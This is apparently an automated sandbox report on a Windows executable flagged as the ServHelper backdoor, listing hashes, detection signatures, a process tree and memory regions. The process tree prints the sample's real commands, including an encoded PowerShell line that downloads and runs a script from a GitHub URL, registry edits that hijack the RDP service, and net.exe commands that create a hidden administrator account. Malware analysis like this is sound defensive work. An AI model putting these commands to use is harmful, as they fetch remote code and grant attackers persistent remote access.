Analysis

  • max time kernel
    121s
  • max time network
    120s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    26-10-2021 14:49

General

  • Target

    63151e4f7c3972f18a23c0e9996e14ef.exe

  • Size

    5.7MB

  • MD5

    63151e4f7c3972f18a23c0e9996e14ef

  • SHA1

    5d041fde6433a8ff8fc78a69fca1fd4630e3f270

  • SHA256

    cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3

  • SHA512

    f08c402f0a966cbe89fae0b5f9aa8536d6313dada788486a4db422a042769713a2896753acd47223348349b9960b5cde9470cc862668e2cdb90a6fcc1b87c8ec

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • suricata: ET MALWARE ServHelper CnC Inital Checkin

    suricata: ET MALWARE ServHelper CnC Inital Checkin

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\63151e4f7c3972f18a23c0e9996e14ef.exe
    "C:\Users\Admin\AppData\Local\Temp\63151e4f7c3972f18a23c0e9996e14ef.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2896
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2188
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sofo34bb\sofo34bb.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2808
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE938.tmp" "c:\Users\Admin\AppData\Local\Temp\sofo34bb\CSC994BD6EF4CB9446894FBBA752418CC13.TMP"
          4⤵
            PID:3436
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4032
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2092
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3320
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1828
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1864
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:2020
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1364
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:3960
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3568
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3056
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1564
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:3764
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3748
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:888
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3724
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:1528
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:496
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:1760
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1948
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3068
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:2216
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc V0rGJELN /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:664
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc V0rGJELN /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3436
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc V0rGJELN /add
                          3⤵
                            PID:3032
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:356
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3324
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:632
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:772
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3444
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
                              3⤵
                                PID:1456
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1164
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3580
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                3⤵
                                  PID:3720
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc V0rGJELN
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:1760
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc V0rGJELN
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2604
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc V0rGJELN
                                  3⤵
                                    PID:1092
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2304
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                  • Modifies data under HKEY_USERS
                                  PID:2920
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic CPU get NAME
                                1⤵
                                  PID:2020
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic CPU get NAME
                                    2⤵
                                      PID:1364
                                  • C:\Windows\System32\cmd.exe
                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                    1⤵
                                      PID:2600
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                        2⤵
                                          PID:3568
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                            3⤵
                                            • Blocklisted process makes network request
                                            • Drops file in Program Files directory
                                            • Drops file in Windows directory
                                            • Modifies data under HKEY_USERS
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:1344

                                      Network

                                      MITRE ATT&CK Enterprise v6

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • memory/1344-378-0x000002659BA20000-0x000002659BA22000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/1344-380-0x000002659BA23000-0x000002659BA25000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/1344-387-0x000002659BA26000-0x000002659BA28000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/1344-438-0x000002659BA28000-0x000002659BA29000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2092-260-0x000001B9F19E8000-0x000001B9F19EA000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2092-226-0x000001B9F19E6000-0x000001B9F19E8000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2092-224-0x000001B9F19E3000-0x000001B9F19E5000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2092-223-0x000001B9F19E0000-0x000001B9F19E2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2188-130-0x000001D9FA070000-0x000001D9FA071000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2188-124-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2188-156-0x000001D9FA900000-0x000001D9FA901000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2188-129-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2188-154-0x000001D9FA570000-0x000001D9FA571000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2188-150-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2188-131-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2188-122-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2188-123-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2188-148-0x000001D9FA010000-0x000001D9FA011000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2188-155-0x000001D9F7768000-0x000001D9F7769000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2188-128-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2188-125-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2188-126-0x000001D9F9580000-0x000001D9F9581000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2188-127-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2188-133-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2188-135-0x000001D9F7760000-0x000001D9F7762000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2188-136-0x000001D9F7763000-0x000001D9F7765000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2188-143-0x000001D9F7766000-0x000001D9F7768000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2188-139-0x000001D9F7670000-0x000001D9F7672000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2896-115-0x00000168BE080000-0x00000168BE47F000-memory.dmp

                                        Filesize

                                        4.0MB

                                      • memory/2896-120-0x00000168BDC66000-0x00000168BDC67000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2896-118-0x00000168BDC63000-0x00000168BDC65000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2896-119-0x00000168BDC65000-0x00000168BDC66000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2896-116-0x00000168BDC60000-0x00000168BDC62000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3320-262-0x00000231DF803000-0x00000231DF805000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3320-261-0x00000231DF800000-0x00000231DF802000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3320-293-0x00000231DF806000-0x00000231DF808000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4032-197-0x00000232BEB76000-0x00000232BEB78000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4032-174-0x00000232BEB73000-0x00000232BEB75000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4032-173-0x00000232BEB70000-0x00000232BEB72000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4032-171-0x00000232BEAD0000-0x00000232BEAD2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4032-170-0x00000232BEAD0000-0x00000232BEAD2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4032-175-0x00000232BEAD0000-0x00000232BEAD2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4032-169-0x00000232BEAD0000-0x00000232BEAD2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4032-167-0x00000232BEAD0000-0x00000232BEAD2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4032-166-0x00000232BEAD0000-0x00000232BEAD2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4032-165-0x00000232BEAD0000-0x00000232BEAD2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4032-164-0x00000232BEAD0000-0x00000232BEAD2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4032-202-0x00000232BEB78000-0x00000232BEB7A000-memory.dmp

                                        Filesize

                                        8KB